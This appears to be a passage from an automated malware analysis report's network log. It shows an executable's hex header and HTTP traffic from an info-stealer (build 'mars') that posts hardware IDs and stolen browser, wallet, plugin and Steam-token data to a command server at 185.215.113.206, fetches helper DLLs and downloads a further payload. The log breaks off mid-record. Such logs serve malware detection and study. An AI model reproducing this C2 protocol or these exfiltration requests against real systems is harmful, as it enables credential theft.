38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 40 22 00 00 00 00 00 00 f0 68 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 69 00 00 04 00 00 a1 16 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 a0 24 00 00 00 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 60 2a 00 00 c0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 6c 71 6d 72 65 66 63 00 c0 19 00 00 20 4f 00 00 be 19 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 76 68 6f 6b 6e 7a 75 00 10 00 00 00 e0 68 00 00 04 00 00 00 34 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 68 00 00 22 00 00 00 38 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 11 Nov 2024 13:34:01 GMTContent-Type: application/octet-streamContent-Length: 1792512Last-Modified: Mon, 11 Nov 2024 13:28:47 GMTConnection: keep-aliveETag: "6732068f-1b5a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 40 22 00 00 00 00 00 00 f0 68 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 69 00 00 04 00 00 a1 16 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 a0 24 00 00 00 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 60 2a 00 00 c0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 6c 71 6d 72 65 66 63 00 c0 19 00 00 20 4f 00 00 be 19 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 76 68 6f 6b 6e 7a 75 00 10 00 00 00 e0 68 00 00 04 00 00 00 34 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 68 00 00 22 00 00 00 38 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJEGDBKFIJDAKFIDGHJEHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 47 44 42 4b 46 49 4a 44 41 4b 46 49 44 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 36 31 45 35 34 38 36 37 45 37 31 33 36 30 34 32 39 36 32 39 37 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 47 44 42 4b 46 49 4a 44 41 4b 46 49 44 47 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 47 44 42 4b 46 49 4a 44 41 4b 46 49 44 47 48 4a 45 2d 2d 0d 0a Data Ascii: ------KJEGDBKFIJDAKFIDGHJEContent-Disposition: form-data; name="hwid"461E54867E713604296297------KJEGDBKFIJDAKFIDGHJEContent-Disposition: form-data; name="build"mars------KJEGDBKFIJDAKFIDGHJE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAFIEGIECGCBKFIEBGCAHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 31 36 35 61 35 39 66 65 65 65 39 35 39 34 39 64 34 31 36 35 32 62 66 63 65 64 30 63 61 39 64 65 65 31 39 30 36 33 31 38 30 61 36 36 38 30 61 63 63 66 30 39 33 31 62 31 62 39 33 39 31 38 33 35 61 66 36 35 33 35 61 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 2d 2d 0d 0a Data Ascii: ------BAFIEGIECGCBKFIEBGCAContent-Disposition: form-data; name="token"5165a59feee95949d41652bfced0ca9dee19063180a6680accf0931b1b9391835af6535a------BAFIEGIECGCBKFIEBGCAContent-Disposition: form-data; name="message"browsers------BAFIEGIECGCBKFIEBGCA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAAFCAFCBKFHJJJKKFHIHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 31 36 35 61 35 39 66 65 65 65 39 35 39 34 39 64 34 31 36 35 32 62 66 63 65 64 30 63 61 39 64 65 65 31 39 30 36 33 31 38 30 61 36 36 38 30 61 63 63 66 30 39 33 31 62 31 62 39 33 39 31 38 33 35 61 66 36 35 33 35 61 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 2d 2d 0d 0a Data Ascii: ------BAAFCAFCBKFHJJJKKFHIContent-Disposition: form-data; name="token"5165a59feee95949d41652bfced0ca9dee19063180a6680accf0931b1b9391835af6535a------BAAFCAFCBKFHJJJKKFHIContent-Disposition: form-data; name="message"plugins------BAAFCAFCBKFHJJJKKFHI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBGCGDBKEGHIEBGDBFHDHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 47 43 47 44 42 4b 45 47 48 49 45 42 47 44 42 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 31 36 35 61 35 39 66 65 65 65 39 35 39 34 39 64 34 31 36 35 32 62 66 63 65 64 30 63 61 39 64 65 65 31 39 30 36 33 31 38 30 61 36 36 38 30 61 63 63 66 30 39 33 31 62 31 62 39 33 39 31 38 33 35 61 66 36 35 33 35 61 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 47 44 42 4b 45 47 48 49 45 42 47 44 42 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 47 44 42 4b 45 47 48 49 45 42 47 44 42 46 48 44 2d 2d 0d 0a Data Ascii: ------CBGCGDBKEGHIEBGDBFHDContent-Disposition: form-data; name="token"5165a59feee95949d41652bfced0ca9dee19063180a6680accf0931b1b9391835af6535a------CBGCGDBKEGHIEBGDBFHDContent-Disposition: form-data; name="message"fplugins------CBGCGDBKEGHIEBGDBFHD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAKFBKEHDBGHJJKFIEGDHost: 185.215.113.206Content-Length: 8199Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFIDGDAKFHIEHJKFHDHDHost: 185.215.113.206Content-Length: 999Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHJEHJJDAAAKEBGCFCAAHost: 185.215.113.206Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFBGDBFBKKJECBFHDGIEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 31 36 35 61 35 39 66 65 65 65 39 35 39 34 39 64 34 31 36 35 32 62 66 63 65 64 30 63 61 39 64 65 65 31 39 30 36 33 31 38 30 61 36 36 38 30 61 63 63 66 30 39 33 31 62 31 62 39 33 39 31 38 33 35 61 66 36 35 33 35 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 2d 2d 0d 0a Data Ascii: ------KFBGDBFBKKJECBFHDGIEContent-Disposition: form-data; name="token"5165a59feee95949d41652bfced0ca9dee19063180a6680accf0931b1b9391835af6535a------KFBGDBFBKKJECBFHDGIEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KFBGDBFBKKJECBFHDGIEContent-Disposition: form-data; name="file"------KFBGDBFBKKJECBFHDGIE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAFIEGIECGCBKFIEBGCAHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 31 36 35 61 35 39 66 65 65 65 39 35 39 34 39 64 34 31 36 35 32 62 66 63 65 64 30 63 61 39 64 65 65 31 39 30 36 33 31 38 30 61 36 36 38 30 61 63 63 66 30 39 33 31 62 31 62 39 33 39 31 38 33 35 61 66 36 35 33 35 61 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 2d 2d 0d 0a Data Ascii: ------BAFIEGIECGCBKFIEBGCAContent-Disposition: form-data; name="token"5165a59feee95949d41652bfced0ca9dee19063180a6680accf0931b1b9391835af6535a------BAFIEGIECGCBKFIEBGCAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BAFIEGIECGCBKFIEBGCAContent-Disposition: form-data; name="file"------BAFIEGIECGCBKFIEBGCA--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDBGHDHCGHCAAKEBKECBHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHDHJJJECFIECBGDGCAAHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 31 36 35 61 35 39 66 65 65 65 39 35 39 34 39 64 34 31 36 35 32 62 66 63 65 64 30 63 61 39 64 65 65 31 39 30 36 33 31 38 30 61 36 36 38 30 61 63 63 66 30 39 33 31 62 31 62 39 33 39 31 38 33 35 61 66 36 35 33 35 61 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 44 48 4a 4a 4a 45 43 46 49 45 43 42 47 44 47 43 41 41 2d 2d 0d 0a Data Ascii: ------DHDHJJJECFIECBGDGCAAContent-Disposition: form-data; name="token"5165a59feee95949d41652bfced0ca9dee19063180a6680accf0931b1b9391835af6535a------DHDHJJJECFIECBGDGCAAContent-Disposition: form-data; name="message"wallets------DHDHJJJECFIECBGDGCAA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBKJDBAAKJDGCBFHCFCGHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 4b 4a 44 42 41 41 4b 4a 44 47 43 42 46 48 43 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 31 36 35 61 35 39 66 65 65 65 39 35 39 34 39 64 34 31 36 35 32 62 66 63 65 64 30 63 61 39 64 65 65 31 39 30 36 33 31 38 30 61 36 36 38 30 61 63 63 66 30 39 33 31 62 31 62 39 33 39 31 38 33 35 61 66 36 35 33 35 61 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 4a 44 42 41 41 4b 4a 44 47 43 42 46 48 43 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 4a 44 42 41 41 4b 4a 44 47 43 42 46 48 43 46 43 47 2d 2d 0d 0a Data Ascii: ------EBKJDBAAKJDGCBFHCFCGContent-Disposition: form-data; name="token"5165a59feee95949d41652bfced0ca9dee19063180a6680accf0931b1b9391835af6535a------EBKJDBAAKJDGCBFHCFCGContent-Disposition: form-data; name="message"files------EBKJDBAAKJDGCBFHCFCG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAKEBFBAKKFCBGDHDGHDHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 4b 45 42 46 42 41 4b 4b 46 43 42 47 44 48 44 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 31 36 35 61 35 39 66 65 65 65 39 35 39 34 39 64 34 31 36 35 32 62 66 63 65 64 30 63 61 39 64 65 65 31 39 30 36 33 31 38 30 61 36 36 38 30 61 63 63 66 30 39 33 31 62 31 62 39 33 39 31 38 33 35 61 66 36 35 33 35 61 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 45 42 46 42 41 4b 4b 46 43 42 47 44 48 44 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 45 42 46 42 41 4b 4b 46 43 42 47 44 48 44 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 45 42 46 42 41 4b 4b 46 43 42 47 44 48 44 47 48 44 2d 2d 0d 0a Data Ascii: ------BAKEBFBAKKFCBGDHDGHDContent-Disposition: form-data; name="token"5165a59feee95949d41652bfced0ca9dee19063180a6680accf0931b1b9391835af6535a------BAKEBFBAKKFCBGDHDGHDContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BAKEBFBAKKFCBGDHDGHDContent-Disposition: form-data; name="file"------BAKEBFBAKKFCBGDHDGHD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBKFHJEBAAEBGDGDBFBGHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 46 48 4a 45 42 41 41 45 42 47 44 47 44 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 31 36 35 61 35 39 66 65 65 65 39 35 39 34 39 64 34 31 36 35 32 62 66 63 65 64 30 63 61 39 64 65 65 31 39 30 36 33 31 38 30 61 36 36 38 30 61 63 63 66 30 39 33 31 62 31 62 39 33 39 31 38 33 35 61 66 36 35 33 35 61 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 48 4a 45 42 41 41 45 42 47 44 47 44 42 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 46 48 4a 45 42 41 41 45 42 47 44 47 44 42 46 42 47 2d 2d 0d 0a Data Ascii: ------DBKFHJEBAAEBGDGDBFBGContent-Disposition: form-data; name="token"5165a59feee95949d41652bfced0ca9dee19063180a6680accf0931b1b9391835af6535a------DBKFHJEBAAEBGDGDBFBGContent-Disposition: form-data; name="message"ybncbhylepme------DBKFHJEBAAEBGDGDBFBG--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCGCGDHJEGHJKFHJJJKJHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 47 43 47 44 48 4a 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 31 36 35 61 35 39 66 65 65 65 39 35 39 34 39 64 34 31 36 35 32 62 66 63 65 64 30 63 61 39 64 65 65 31 39 30 36 33 31 38 30 61 36 36 38 30 61 63 63 66 30 39 33 31 62 31 62 39 33 39 31 38 33 35 61 66 36 35 33 35 61 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 43 47 44 48 4a 45 47 48 4a 4b 46 48 